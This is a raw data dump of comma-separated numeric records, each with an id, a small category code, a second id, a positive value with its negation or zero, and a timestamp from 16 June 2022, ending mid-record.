+39282,1,11236,15.82852848,-15.82852848,2022-06-16 12:55:14.489399+00 +39284,1,11324,15.75298567,-15.75298567,2022-06-16 12:55:14.490424+00 +50802,4,13367,9.729614288,-9.729614288,2022-06-16 13:56:15.880299+00 +36895,1,10923,3.181642136,-3.181642136,2022-06-16 12:42:17.43506+00 +36896,1,10939,2.761406195,-2.761406195,2022-06-16 12:42:17.438559+00 +36897,1,10931,13.82101617,-13.82101617,2022-06-16 12:42:17.439533+00 +36898,1,10944,1.523666296,-1.523666296,2022-06-16 12:42:17.440358+00 +36899,1,10928,0.587021706,0,2022-06-16 12:42:17.441219+00 +36900,1,10907,6.905017624,-6.905017624,2022-06-16 12:42:17.442029+00 +45197,6,12309,7.658119669,-7.658119669,2022-06-16 13:24:12.629966+00 +47876,3,12525,5.223796392,-5.223796392,2022-06-16 13:40:37.021057+00 +47908,6,12862,3.881650963,-3.881650963,2022-06-16 13:41:04.046138+00 +50803,4,13269,8.140662473,-8.140662473,2022-06-16 13:56:15.881161+00 +36905,2,10941,5.307554752,-5.307554752,2022-06-16 12:42:19.441628+00 +36906,4,10891,12.42362735,-12.42362735,2022-06-16 12:42:20.942685+00 +36907,4,10931,9.720272431,-9.720272431,2022-06-16 12:42:20.945956+00 +36908,4,10939,1.663451298,-1.663451298,2022-06-16 12:42:20.946841+00 +36909,4,10907,4.405497014,-4.405497014,2022-06-16 12:42:20.947625+00 +36910,4,10923,1.92360947,-1.92360947,2022-06-16 12:42:20.94836+00 +36911,1,10915,21.18428613,-21.18428613,2022-06-16 12:42:23.435777+00 +36912,1,10920,16.24096803,-16.24096803,2022-06-16 12:42:23.439053+00 +36913,1,10784,5.785403327,-5.785403327,2022-06-16 12:42:23.439867+00 +56417,2,14303,7.648325574,-7.648325574,2022-06-16 14:27:05.715142+00 +37120,1,10936,7.690854854,-7.690854854,2022-06-16 12:43:26.436328+00 +37121,1,10904,8.497996707,-8.497996707,2022-06-16 12:43:26.439687+00 +48996,6,13022,9.917939818,-9.917939818,2022-06-16 13:46:57.51976+00 +36918,2,10925,5.151046074,-5.151046074,2022-06-16 12:42:24.449066+00 +36919,6,10718,11.18564715,-11.18564715,2022-06-16 12:42:25.639283+00 +36920,6,10974,11.13365046,-11.13365046,2022-06-16 12:42:25.642832+00 +39882,4,11405,14.58895818,-14.58895818,2022-06-16 12:58:11.400809+00 +39883,4,11421,8.403670486,-8.403670486,2022-06-16 12:58:11.404439+00 +60093,1,14815,5.793614097,-5.793614097,2022-06-16 14:42:48.086767+00 +39963,1,11450,13.75753189,-13.75753189,2022-06-16 12:58:38.57181+00 +37570,3,11055,12.07264311,-12.07264311,2022-06-16 12:46:07.305847+00 +36927,6,10990,7.440049455,-7.440049455,2022-06-16 12:42:26.048868+00 +36934,4,10899,7.413650458,-7.413650458,2022-06-16 12:42:28.571964+00 +39964,1,11426,13.68758815,-13.68758815,2022-06-16 12:58:38.57523+00 +36937,3,10669,7.017403255,-7.017403255,2022-06-16 12:42:30.487935+00 +36938,3,10685,7.195463364,-7.195463364,2022-06-16 12:42:32.41348+00 +37640,6,11101,6.924561371,-6.924561371,2022-06-16 12:46:26.092483+00 +36967,4,10720,6.126730047,-6.126730047,2022-06-16 12:42:44.823185+00 +37672,3,10925,6.803949368,-6.803949368,2022-06-16 12:46:31.348844+00 +37691,1,11133,3.555619111,-3.555619111,2022-06-16 12:46:35.410143+00 +37692,1,11117,3.446055891,-3.446055891,2022-06-16 12:46:35.411801+00 +39965,1,11418,13.48770513,-13.48770513,2022-06-16 12:58:38.57603+00 +39966,1,11485,10.22381262,-10.22381262,2022-06-16 12:58:38.576832+00 +39967,1,11434,5.461983259,-5.461983259,2022-06-16 12:58:38.577593+00 +46053,3,12459,7.19146413,-7.19146413,2022-06-16 13:30:09.395584+00 +37882,3,11134,10.02431027,-10.02431027,2022-06-16 12:48:03.82785+00 +37883,3,11198,9.958171447,-9.958171447,2022-06-16 12:48:03.831476+00 +46067,4,12535,10.29498492,-10.29498492,2022-06-16 13:30:12.944158+00 +43118,4,11865,12.03525506,-12.03525506,2022-06-16 13:13:05.616784+00 +43119,4,11889,12.67720439,-12.67720439,2022-06-16 13:13:05.619849+00 +38047,3,11200,6.015769984,-6.015769984,2022-06-16 12:49:04.373843+00 +38090,1,11128,7.541195817,-7.541195817,2022-06-16 12:49:05.43961+00 +46068,4,12534,10.9639267,-10.9639267,2022-06-16 13:30:12.945653+00 +46069,4,12477,2.081667898,-2.081667898,2022-06-16 13:30:12.946477+00 +43321,6,11997,6.164767022,-6.164767022,2022-06-16 13:14:11.364538+00 +40347,4,11483,4.391487678,-4.391487678,2022-06-16 13:00:22.107047+00 +40348,4,11515,1.419756774,-1.419756774,2022-06-16 13:00:22.10787+00 +40379,6,11306,7.476412059,-7.476412059,2022-06-16 13:00:30.62838+00 +40391,2,11562,4.927337328,-4.927337328,2022-06-16 13:00:39.575555+00 +40413,4,11352,8.716391693,-8.716391693,2022-06-16 13:00:46.572422+00 +43376,4,11946,6.791195001,-6.791195001,2022-06-16 13:14:16.59057+00 +38410,1,11246,3.775095877,-3.775095877,2022-06-16 12:50:56.438821+00 +38411,1,11262,2.926768514,-2.926768514,2022-06-16 12:50:56.44217+00 +43422,2,11965,5.062192312,-5.062192312,2022-06-16 13:14:24.54485+00 +46070,4,12445,7.284500692,-7.284500692,2022-06-16 13:30:12.947277+00 +38506,1,11160,8.250032145,-8.250032145,2022-06-16 12:51:14.440969+00 +43442,4,11923,6.856216314,-6.856216314,2022-06-16 13:14:29.849231+00 +46071,4,12429,13.65306545,-13.65306545,2022-06-16 13:30:12.948103+00 +46072,4,12461,1.722126266,-1.722126266,2022-06-16 13:30:12.94889+00 +46073,4,12543,2.020618071,-2.020618071,2022-06-16 13:30:12.949567+00 +46074,4,12503,13.28604784,-13.28604784,2022-06-16 13:30:12.950207+00 +40793,6,11629,1.789814786,-1.789814786,2022-06-16 13:02:43.343589+00 +46075,4,12502,13.89285331,-13.89285331,2022-06-16 13:30:12.950867+00 +46076,4,12527,2.603784805,-2.603784805,2022-06-16 13:30:12.951532+00 +38757,2,11261,5.162786276,-5.162786276,2022-06-16 12:52:24.512683+00 +46077,4,12511,6.008258713,-6.008258713,2022-06-16 13:30:12.952155+00 +46078,4,12373,9.208064546,-9.208064546,2022-06-16 13:30:12.952807+00 +38827,7,11050,7.588691116,-7.588691116,2022-06-16 12:52:57.963766+00 +38849,2,11311,4.805633071,-4.805633071,2022-06-16 12:53:05.062562+00 +60094,1,14831,1.331541796,-1.331541796,2022-06-16 14:42:48.090034+00 +44045,4,11864,8.524700481,-8.524700481,2022-06-16 13:17:41.845154+00 +38887,3,11328,5.847145976,-5.847145976,2022-06-16 12:53:20.238375+00 +56752,7,14314,3.955080186,-3.955080186,2022-06-16 14:29:01.048305+00 +44188,1,12066,12.52894201,-12.52894201,2022-06-16 13:18:14.577732+00 +44189,1,12056,7.452091893,-7.452091893,2022-06-16 13:18:14.581294+00 +44190,1,12096,1.15016885,-1.15016885,2022-06-16 13:18:14.582134+00 +41109,6,11669,8.429826535,-8.429826535,2022-06-16 13:04:09.149287+00 +44191,1,12072,15.3507537,-15.3507537,2022-06-16 13:18:14.583031+00 +44192,1,12088,6.730526126,-6.730526126,2022-06-16 13:18:14.583803+00 +44193,1,12080,0.516075271,0,2022-06-16 13:18:14.584551+00 +44194,1,12074,4.279401059,-4.279401059,2022-06-16 13:18:14.585307+00 +44195,1,12082,12.34012041,-12.34012041,2022-06-16 13:18:14.585932+00 +44213,4,12083,9.361375257,-9.361375257,2022-06-16 13:18:22.160812+00 +44214,4,12091,1.210077838,-1.210077838,2022-06-16 13:18:22.161737+00 +44215,4,12043,12.95667345,-12.95667345,2022-06-16 13:18:22.162428+00 +41367,7,11370,7.038209768,-7.038209768,2022-06-16 13:05:18.030954+00 +39125,1,11306,5.796860942,-5.796860942,2022-06-16 12:54:41.492335+00 +39126,1,11298,14.06313665,-14.06313665,2022-06-16 12:54:41.495675+00 +44216,4,12075,1.407731774,-1.407731774,2022-06-16 13:18:22.163267+00 +44217,4,12059,4.33360167,-4.33360167,2022-06-16 13:18:22.163888+00 +44236,4,12110,16.81092648,-16.81092648,2022-06-16 13:18:30.922343+00 +44255,6,12096,4.145898536,-4.145898536,2022-06-16 13:18:46.787617+00 +39181,6,11312,1.909542222,0,2022-06-16 12:54:58.543442+00 +53114,3,13675,5.486142348,-5.486142348,2022-06-16 14:08:32.97065+00 +53135,1,13656,6.218608524,-6.218608524,2022-06-16 14:08:41.818318+00 +46458,4,12521,10.82208706,-10.82208706,2022-06-16 13:32:38.484729+00 +46459,4,12505,10.90805504,-10.90805504,2022-06-16 13:32:38.488167+00 +53136,1,13664,4.353528044,-4.353528044,2022-06-16 14:08:41.819842+00 +39243,1,11116,16.77050983,-16.77050983,2022-06-16 12:55:05.462395+00 +39244,1,11060,16.73110914,-16.73110914,2022-06-16 12:55:05.463482+00 +39245,1,11052,16.65240151,-16.65240151,2022-06-16 12:55:05.464271+00 +39246,1,11036,16.65287507,-16.65287507,2022-06-16 12:55:05.465017+00 +39247,1,11132,16.61394752,-16.61394752,2022-06-16 12:55:05.465836+00 +39248,1,11100,16.53599296,-16.53599296,2022-06-16 12:55:05.466603+00 +39249,1,11044,16.53665199,-16.53665199,2022-06-16 12:55:05.467295+00 +39250,1,11124,16.45882884,-16.45882884,2022-06-16 12:55:05.467887+00 +39251,1,11068,16.4208925,-16.4208925,2022-06-16 12:55:05.46849+00 +53137,1,13718,13.17058334,-13.17058334,2022-06-16 14:08:41.821082+00 +39283,2,11307,5.593159663,-5.593159663,2022-06-16 12:55:14.488037+00 +49786,2,13120,3.667942693,-3.667942693,2022-06-16 13:51:05.124159+00 +49787,2,13097,12.14525093,-12.14525093,2022-06-16 13:51:05.127416+00 +41591,6,11725,11.82598135,-11.82598135,2022-06-16 13:06:21.609332+00 +46748,6,12653,1.238681939,-1.238681939,2022-06-16 13:34:20.58299+00 +41625,4,11667,6.987388877,-6.987388877,2022-06-16 13:06:28.804622+00 +56929,6,14240,11.77653439,-11.77653439,2022-06-16 14:29:14.485326+00 +41647,6,11775,4.867926002,-4.867926002,2022-06-16 13:06:30.951246+00 +44757,3,12203,7.492770759,-7.492770759,2022-06-16 13:22:03.509158+00 +36928,6,11006,5.954702657,-5.954702657,2022-06-16 12:42:26.148698+00 +60095,4,14807,12.60216617,-12.60216617,2022-06-16 14:42:48.705306+00 +39884,1,11232,5.491076803,-5.491076803,2022-06-16 12:58:11.556378+00 +39900,1,11451,2.325574645,-2.325574645,2022-06-16 12:58:14.528327+00 +36936,6,10957,12.40998551,-12.40998551,2022-06-16 12:42:28.71168+00 +39901,1,11435,2.69071813,-2.69071813,2022-06-16 12:58:14.529613+00 +36940,6,10965,9.331585156,-9.331585156,2022-06-16 12:42:33.702949+00 +39918,2,11498,5.03094622,-5.03094622,2022-06-16 12:58:23.522123+00 +36942,6,10973,6.999623973,-6.999623973,2022-06-16 12:42:35.565727+00 +39969,6,11477,8.628013173,-8.628013173,2022-06-16 12:58:42.212357+00 +37575,4,11021,15.03232295,-15.03232295,2022-06-16 12:46:12.537688+00 +37576,4,11053,2.860787848,-2.860787848,2022-06-16 12:46:12.541222+00 +36947,6,10928,1.890129076,0,2022-06-16 12:42:39.295806+00 +37577,4,11037,8.977434894,-8.977434894,2022-06-16 12:46:12.542118+00 +37578,4,11069,2.944080652,-2.944080652,2022-06-16 12:46:12.542948+00 +37579,4,11119,4.146802878,-4.146802878,2022-06-16 12:46:12.543784+00 +37580,4,11055,4.136283283,-4.136283283,2022-06-16 12:46:12.544561+00 +36952,6,10944,4.606691033,-4.606691033,2022-06-16 12:42:39.504697+00 +37619,1,11048,16.11195052,-16.11195052,2022-06-16 12:46:20.409891+00 +37620,1,11032,8.340104314,-8.340104314,2022-06-16 12:46:20.4111+00 +37621,1,11067,2.647746924,-2.647746924,2022-06-16 12:46:20.411868+00 +37622,1,11051,3.048952143,-3.048952143,2022-06-16 12:46:20.412536+00 +42834,3,11819,8.028892585,-8.028892585,2022-06-16 13:11:56.337091+00 +36958,3,11008,6.200642994,-6.200642994,2022-06-16 12:42:40.286817+00 +42909,7,11754,6.79947274,-6.79947274,2022-06-16 13:12:08.445855+00 +36960,6,10989,2.165968918,-2.165968918,2022-06-16 12:42:40.715914+00 +36961,1,10990,4.004311772,-4.004311772,2022-06-16 12:42:41.407381+00 +36962,1,10966,14.35754864,-14.35754864,2022-06-16 12:42:41.410785+00 +36963,1,10982,15.34151729,-15.34151729,2022-06-16 12:42:41.411933+00 +42910,4,11888,0.613547874,0,2022-06-16 13:12:08.846509+00 +36965,6,11005,2.235002714,-2.235002714,2022-06-16 12:42:42.600147+00 +36966,1,10991,4.504464803,-4.504464803,2022-06-16 12:42:44.410561+00 +42911,4,11904,1.397659841,-1.397659841,2022-06-16 13:12:08.847928+00 +52847,2,13678,2.999867401,-2.999867401,2022-06-16 14:07:05.882094+00 +40237,3,11583,9.146470171,-9.146470171,2022-06-16 13:00:06.067299+00 +40269,4,11469,14.55300982,-14.55300982,2022-06-16 13:00:10.401774+00 +40270,4,11501,2.494502576,-2.494502576,2022-06-16 13:00:10.403189+00 +40271,4,11485,8.3446947,-8.3446947,2022-06-16 13:00:10.404032+00 +42949,4,11883,1.491203339,-1.491203339,2022-06-16 13:12:22.945785+00 +38091,1,11199,3.370675387,-3.370675387,2022-06-16 12:49:08.439824+00 +42950,4,11867,4.361745825,-4.361745825,2022-06-16 13:12:22.947325+00 +40349,6,11583,4.996248149,-4.996248149,2022-06-16 13:00:22.109959+00 +42951,4,11851,12.86060311,-12.86060311,2022-06-16 13:12:22.948246+00 +42952,4,11899,1.276407821,-1.276407821,2022-06-16 13:12:22.94907+00 +42955,1,11889,6.807659017,-6.807659017,2022-06-16 13:12:26.573399+00 +38314,6,11229,6.786316627,-6.786316627,2022-06-16 12:50:16.614429+00 +38331,4,11147,12.49570458,-12.49570458,2022-06-16 12:50:23.224993+00 +42956,1,11888,0.526752532,0,2022-06-16 13:12:26.574578+00 +38412,1,11247,4.279776256,-4.279776256,2022-06-16 12:50:59.439066+00 +38413,1,11263,3.320292485,-3.320292485,2022-06-16 12:50:59.442363+00 +42957,1,11865,6.348376553,-6.348376553,2022-06-16 13:12:26.575331+00 +42958,1,11881,6.26614285,-6.26614285,2022-06-16 13:12:26.576026+00 +42959,1,11897,6.277980511,-6.277980511,2022-06-16 13:12:26.576733+00 +42960,1,11867,6.502004497,-6.502004497,2022-06-16 13:12:26.577413+00 +38532,3,11179,9.112477126,-9.112477126,2022-06-16 12:51:42.645661+00 +40726,1,11578,13.45980653,-13.45980653,2022-06-16 13:02:17.54309+00 +40727,1,11613,10.11581385,-10.11581385,2022-06-16 13:02:17.546916+00 +40728,1,11562,5.189660551,-5.189660551,2022-06-16 13:02:17.547834+00 +40729,1,11554,13.41402542,-13.41402542,2022-06-16 13:02:17.548668+00 +40730,1,11629,3.144255589,-3.144255589,2022-06-16 13:02:17.549499+00 +40731,1,11546,13.18385381,-13.18385381,2022-06-16 13:02:17.55033+00 +40770,4,11606,15.33597429,-15.33597429,2022-06-16 13:02:29.426795+00 +40771,4,11598,17.64888194,-17.64888194,2022-06-16 13:02:29.427988+00 +38759,6,11277,12.20495999,-12.20495999,2022-06-16 12:52:28.09625+00 +52848,2,13679,3.01488624,-3.01488624,2022-06-16 14:07:05.88546+00 +43120,2,11967,3.282809326,-3.282809326,2022-06-16 13:13:05.623068+00 +38828,4,11257,13.34117537,-13.34117537,2022-06-16 12:53:03.780866+00 +38829,4,11249,14.12032727,-14.12032727,2022-06-16 12:53:03.784577+00 +56930,6,14304,11.72188206,-11.72188206,2022-06-16 14:29:14.488594+00 +38888,1,11224,8.189684249,-8.189684249,2022-06-16 12:53:20.461967+00 +46368,3,12590,9.864012159,-9.864012159,2022-06-16 13:32:06.907415+00 +38913,4,11040,6.097536399,-6.097536399,2022-06-16 12:53:25.079317+00 +40958,6,11631,6.217116226,-6.217116226,2022-06-16 13:03:26.17927+00 +40985,3,11563,8.442222748,-8.442222748,2022-06-16 13:03:51.733539+00 +46460,1,12529,6.136845376,-6.136845376,2022-06-16 13:32:38.715038+00 +46461,1,12513,10.05003782,-10.05003782,2022-06-16 13:32:38.718279+00 +46462,1,12505,5.693762323,-5.693762323,2022-06-16 13:32:38.719084+00 +46463,1,12521,5.620454207,-5.620454207,2022-06-16 13:32:38.719931+00 +46464,1,12565,11.89515821,-11.89515821,2022-06-16 13:32:38.720669+00 +43722,3,12078,10.50469158,-10.50469158,2022-06-16 13:16:05.755257+00 +64543,1,15251,7.191174187,-7.191174187,2022-06-16 14:58:57.218556+00 +39081,6,11373,1.95522889,-1.95522889,2022-06-16 12:54:12.811737+00 +49789,2,13150,7.490563222,-7.490563222,2022-06-16 13:51:05.156115+00 +53438,3,13755,5.000844028,-5.000844028,2022-06-16 14:10:34.742224+00 +41320,2,11710,3.477386077,-3.477386077,2022-06-16 13:05:05.156526+00 +39147,1,11389,3.398942086,-3.398942086,2022-06-16 12:54:50.497395+00 +39148,1,11373,3.299506246,-3.299506246,2022-06-16 12:54:50.500699+00 +46937,6,12608,3.992716174,-3.992716174,2022-06-16 13:35:13.339185+00 +49944,3,13247,6.589836786,-6.589836786,2022-06-16 13:52:05.206313+00 +44196,4,12074,6.627883602,-6.627883602,2022-06-16 13:18:17.53553+00 +44218,1,12091,1.885008439,-1.885008439,2022-06-16 13:18:23.577419+00 +44219,1,12075,2.190184702,-2.190184702,2022-06-16 13:18:23.578734+00 +44237,7,12074,6.542258174,-6.542258174,2022-06-16 13:18:31.351546+00 +44257,6,12125,6.066340813,-6.066340813,2022-06-16 13:18:47.098775+00 +44282,1,12089,6.080604153,-6.080604153,2022-06-16 13:18:50.626918+00 +39262,1,11308,16.34323294,-16.34323294,2022-06-16 12:55:11.485483+00 +39263,1,11244,16.2668644,-16.2668644,2022-06-16 12:55:11.48886+00 +39264,1,11196,16.26876678,-16.26876678,2022-06-16 12:55:11.489656+00 +39265,1,11180,16.15337054,-16.15337054,2022-06-16 12:55:11.490453+00 +39266,1,11228,16.19371197,-16.19371197,2022-06-16 12:55:11.491336+00 +39267,1,11164,16.1183202,-16.1183202,2022-06-16 12:55:11.492082+00 +39268,1,11260,16.08153888,-16.08153888,2022-06-16 12:55:11.492852+00 +39269,1,11188,16.08269775,-16.08269775,2022-06-16 12:55:11.49347+00 +39270,1,11316,16.00803229,-16.00803229,2022-06-16 12:55:11.494115+00 +39271,1,11172,16.04857654,-16.04857654,2022-06-16 12:55:11.494781+00 +39272,1,11252,15.89719058,-15.89719058,2022-06-16 12:55:11.495447+00 +39273,1,11108,15.93810041,-15.93810041,2022-06-16 12:55:11.496155+00 +39274,1,11292,15.82436052,-15.82436052,2022-06-16 12:55:11.496796+00 +44283,1,12073,6.076380072,-6.076380072,2022-06-16 13:18:50.62816+00 +44284,1,12057,6.143244587,-6.143244587,2022-06-16 13:18:50.628922+00 +39301,1,11300,15.71985623,-15.71985623,2022-06-16 12:55:20.461274+00 +60766,2,14827,2.628273777,-2.628273777,2022-06-16 14:45:14.459817+00 +45671,6,12330,6.313162832,-6.313162832,2022-06-16 13:27:16.679386+00 +45893,1,12445,9.705152187,-9.705152187,2022-06-16 13:28:53.635425+00 +39885,4,11519,2.841789858,-2.841789858,2022-06-16 12:58:13.86027+00 +39402,3,11326,9.679948865,-9.679948865,2022-06-16 12:56:04.852191+00 +39403,3,11390,9.615671957,-9.615671957,2022-06-16 12:56:04.856463+00 +39404,3,11454,9.551929128,-9.551929128,2022-06-16 12:56:04.859028+00 +39886,4,11503,3.688413149,-3.688413149,2022-06-16 12:58:13.86342+00 +39887,4,11487,6.6126768,-6.6126768,2022-06-16 12:58:13.864344+00 +39407,3,11327,9.498549369,-9.498549369,2022-06-16 12:56:04.891488+00 +39408,3,11391,9.436347733,-9.436347733,2022-06-16 12:56:04.896254+00 +45894,1,12477,2.959367846,-2.959367846,2022-06-16 13:28:53.638832+00 +42915,4,11959,10.82834371,-10.82834371,2022-06-16 13:12:13.302504+00 +42916,4,11958,11.41109493,-11.41109493,2022-06-16 13:12:13.306041+00 +40092,2,11519,3.555525418,-3.555525418,2022-06-16 12:59:05.721812+00 +42917,4,11885,2.076651935,-2.076651935,2022-06-16 13:12:13.306927+00 +42918,4,11901,2.407232097,-2.407232097,2022-06-16 13:12:13.307795+00 +42919,4,11869,7.91419682,-7.91419682,2022-06-16 13:12:13.30861+00 +42920,4,11853,14.14961544,-14.14961544,2022-06-16 13:12:13.309437+00 +42921,4,11927,13.93186854,-13.93186854,2022-06-16 13:12:13.31026+00 +42922,4,11926,14.63972426,-14.63972426,2022-06-16 13:12:13.310998+00 +42923,4,11967,2.408125927,-2.408125927,2022-06-16 13:12:13.311671+00 +42924,4,11935,6.267386673,-6.267386673,2022-06-16 13:12:13.312324+00 +42925,4,11951,3.113278201,-3.113278201,2022-06-16 13:12:13.313034+00 +42934,1,11965,3.211634565,-3.211634565,2022-06-16 13:12:17.573373+00 +39423,6,11376,1.914503715,0,2022-06-16 12:56:05.19244+00 +42935,1,11949,2.777286357,-2.777286357,2022-06-16 13:12:17.574805+00 +42947,1,11880,15.49993055,-15.49993055,2022-06-16 13:12:20.573775+00 +42953,1,11933,9.957911258,-9.957911258,2022-06-16 13:12:23.573352+00 +40732,4,11607,14.58788658,-14.58788658,2022-06-16 13:02:18.468256+00 +40772,1,11548,15.02331564,-15.02331564,2022-06-16 13:02:29.516302+00 +40773,1,11580,14.99102968,-14.99102968,2022-06-16 13:02:29.517576+00 +40774,1,11564,14.95622759,-14.95622759,2022-06-16 13:02:29.518435+00 +40784,1,11570,13.22918093,-13.22918093,2022-06-16 13:02:38.516227+00 +40790,1,11556,14.89637059,-14.89637059,2022-06-16 13:02:41.515825+00 +40791,1,11512,7.163061631,-7.163061631,2022-06-16 13:02:41.517155+00 +52615,7,13546,4.769766676,-4.769766676,2022-06-16 14:06:05.250634+00 +39435,6,11392,4.273472185,-4.273472185,2022-06-16 12:56:05.420206+00 +43036,6,11967,4.701883868,-4.701883868,2022-06-16 13:12:40.043706+00 +64293,3,15278,4.08860707,0,2022-06-16 14:58:06.818487+00 +64294,3,15279,3.709840469,0,2022-06-16 14:58:06.824012+00 +64295,3,15343,3.705227098,0,2022-06-16 14:58:06.825454+00 +60534,6,14869,5.119512982,-5.119512982,2022-06-16 14:44:30.457826+00 +57165,1,14386,9.641875554,-9.641875554,2022-06-16 14:30:23.981048+00 +57166,1,14361,4.229784305,-4.229784305,2022-06-16 14:30:23.984612+00 +41111,6,11677,6.399327876,-6.399327876,2022-06-16 13:04:11.056546+00 +41155,1,11635,13.12888823,-13.12888823,2022-06-16 13:04:17.568714+00 +41156,1,11619,20.76187185,-20.76187185,2022-06-16 13:04:17.570024+00 +41157,1,11627,2.512867696,-2.512867696,2022-06-16 13:04:17.570835+00 +41158,1,11643,2.172007813,-2.172007813,2022-06-16 13:04:17.571678+00 +41159,1,11611,6.564248028,-6.564248028,2022-06-16 13:04:17.57242+00 +41160,1,11648,1.21888962,-1.21888962,2022-06-16 13:04:17.573186+00 +41161,1,11632,0.542388216,0,2022-06-16 13:04:17.57433+00 +41180,6,11678,10.71087828,-10.71087828,2022-06-16 13:04:23.989848+00 +57167,1,14396,11.08353355,-11.08353355,2022-06-16 14:30:23.985528+00 +41207,3,11373,6.440023289,-6.440023289,2022-06-16 13:04:32.665006+00 +46755,6,12669,1.541171834,-1.541171834,2022-06-16 13:34:22.466256+00 +43817,6,12016,1.967543941,0,2022-06-16 13:16:24.186084+00 +39459,3,11375,11.44964485,-11.44964485,2022-06-16 12:56:06.76017+00 +39460,3,11439,11.37599128,-11.37599128,2022-06-16 12:56:06.7637+00 +39461,4,11392,1.45862245,-1.45862245,2022-06-16 12:56:08.144934+00 +39462,4,11376,0.622343584,0,2022-06-16 12:56:08.148356+00 +39463,4,11390,3.16447371,-3.16447371,2022-06-16 12:56:08.149255+00 +39464,4,11454,3.156880026,-3.156880026,2022-06-16 12:56:08.150108+00 +39465,4,11422,6.999006517,-6.999006517,2022-06-16 12:56:08.150926+00 +43836,6,11946,6.760460181,-6.760460181,2022-06-16 13:16:31.634204+00 +43848,1,12094,2.484006491,-2.484006491,2022-06-16 13:16:38.575445+00 +41298,6,11711,4.928807236,-4.928807236,2022-06-16 13:04:58.905975+00 +43849,1,12079,3.578072281,-3.578072281,2022-06-16 13:16:38.576902+00 +43850,1,12078,3.161671586,-3.161671586,2022-06-16 13:16:38.577848+00 +41345,4,11609,12.57940542,-12.57940542,2022-06-16 13:05:07.146674+00 +41346,4,11633,13.23540189,-13.23540189,2022-06-16 13:05:07.147903+00 +41353,1,11642,13.30124305,-13.30124305,2022-06-16 13:05:11.566417+00 +41354,1,11610,13.01589622,-13.01589622,2022-06-16 13:05:11.567555+00 +39475,6,11438,6.695197388,-6.695197388,2022-06-16 12:56:09.320668+00 +43851,1,12095,2.790796494,-2.790796494,2022-06-16 13:16:38.578852+00 +43852,1,12031,2.784252957,-2.784252957,2022-06-16 13:16:38.579753+00 +46839,4,12440,8.327214573,-8.327214573,2022-06-16 13:34:57.12629+00 +53516,2,13755,3.478241648,-3.478241648,2022-06-16 14:11:14.593591+00 +46889,2,12639,8.320207557,-8.320207557,2022-06-16 13:35:05.100981+00 +57168,1,14380,11.34107148,-11.34107148,2022-06-16 14:30:23.986383+00 +39482,6,11454,5.272981107,-5.272981107,2022-06-16 12:56:09.576948+00 +57169,1,14362,9.799643382,-9.799643382,2022-06-16 14:30:23.987323+00 +44091,3,12080,2.655950042,0,2022-06-16 13:18:03.758115+00 +53723,3,13819,4.890446945,-4.890446945,2022-06-16 14:12:35.86775+00 +44137,6,12142,5.707180173,-5.707180173,2022-06-16 13:18:07.37761+00 +57170,1,14385,4.594785421,-4.594785421,2022-06-16 14:30:23.988118+00 +44258,1,12125,9.902236943,-9.902236943,2022-06-16 13:18:47.640365+00 +50128,2,13184,3.679405823,-3.679405823,2022-06-16 13:53:05.08967+00 +50129,2,13230,3.220326781,-3.220326781,2022-06-16 13:53:05.093161+00 +39491,6,11371,3.978040355,-3.978040355,2022-06-16 12:56:12.402814+00 +57171,1,14421,10.10015685,-10.10015685,2022-06-16 14:30:23.988951+00 +41636,6,11759,6.190771618,-6.190771618,2022-06-16 13:06:30.595698+00 +53907,3,13871,7.841510952,-7.841510952,2022-06-16 14:14:06.270048+00 +53908,3,13935,7.788388185,-7.788388185,2022-06-16 14:14:06.273671+00 +39496,4,11389,2.675052945,-2.675052945,2022-06-16 12:56:12.628678+00 +39497,4,11373,2.595498757,-2.595498757,2022-06-16 12:56:12.63217+00 +39498,4,11357,8.495419729,-8.495419729,2022-06-16 12:56:12.632973+00 +39499,4,11341,14.62947105,-14.62947105,2022-06-16 12:56:12.63382+00 +39500,4,11438,4.057441174,-4.057441174,2022-06-16 12:56:12.634647+00 +39501,4,11439,3.731564633,-3.731564633,2022-06-16 12:56:12.635427+00 +39502,4,11423,6.623990359,-6.623990359,2022-06-16 12:56:12.636376+00 +39503,4,11455,2.897726259,-2.897726259,2022-06-16 12:56:12.637029+00 +39504,6,11387,3.462010113,-3.462010113,2022-06-16 12:56:12.644338+00 +39505,4,11349,10.87692661,-10.87692661,2022-06-16 12:56:13.915793+00 +50275,6,13247,3.605552514,-3.605552514,2022-06-16 13:53:26.719131+00 +44515,6,12160,4.119993592,-4.119993592,2022-06-16 13:20:11.41301+00 +57172,1,14378,1.974672998,-1.974672998,2022-06-16 14:30:23.989611+00 +41702,4,11697,13.07790921,-13.07790921,2022-06-16 13:07:00.752544+00 +44577,2,12141,4.316626516,-4.316626516,2022-06-16 13:20:19.436619+00 +57173,1,14377,4.174939291,-4.174939291,2022-06-16 14:30:23.990307+00 +41732,2,11743,8.178530227,-8.178530227,2022-06-16 13:07:05.136444+00 +47413,3,12782,9.679969928,-9.679969928,2022-06-16 13:38:05.941008+00 +44678,6,12115,13.35700833,-13.35700833,2022-06-16 13:21:00.434394+00 +39515,6,11405,12.06147165,-12.06147165,2022-06-16 12:56:18.082173+00 +50383,7,13162,5.182148127,-5.182148127,2022-06-16 13:54:08.072272+00 +50418,4,13207,12.84958475,-12.84958475,2022-06-16 13:54:22.416243+00 +52514,6,13547,2.513269414,-2.513269414,2022-06-16 14:05:15.162056+00 +39520,2,11373,4.970454647,-4.970454647,2022-06-16 12:56:19.43917+00 +45895,1,12409,5.755005025,-5.755005025,2022-06-16 13:28:56.634883+00 +45896,1,12377,5.820623105,-5.820623105,2022-06-16 13:28:56.638224+00 +39971,6,11485,6.548627248,-6.548627248,2022-06-16 12:58:44.467065+00 +45897,1,12393,5.745756628,-5.745756628,2022-06-16 13:28:56.639101+00 +39525,2,11389,5.102222565,-5.102222565,2022-06-16 12:56:19.548741+00 +39557,1,11455,3.192771383,-3.192771383,2022-06-16 12:56:29.46357+00 +39558,1,11439,4.089178547,-4.089178547,2022-06-16 12:56:29.464905+00 +45898,1,12401,6.225726943,-6.225726943,2022-06-16 13:28:56.640084+00 +40094,4,11441,13.69699432,-13.69699432,2022-06-16 12:59:10.169229+00 +40095,4,11433,12.81962459,-12.81962459,2022-06-16 12:59:10.173458+00 +40358,6,11565,1.833406357,-1.833406357,2022-06-16 13:00:25.255032+00 +40367,1,11549,10.14726057,-10.14726057,2022-06-16 13:00:29.514066+00 +40383,3,11261,6.708670665,-6.708670665,2022-06-16 13:00:35.293321+00 +49435,2,13102,3.302492776,-3.302492776,2022-06-16 13:49:05.568249+00 +49510,4,13033,9.792045312,-9.792045312,2022-06-16 13:49:49.729994+00 +46466,6,12565,7.323603271,-7.323603271,2022-06-16 13:32:41.493315+00 +46490,1,12499,8.921917815,-8.921917815,2022-06-16 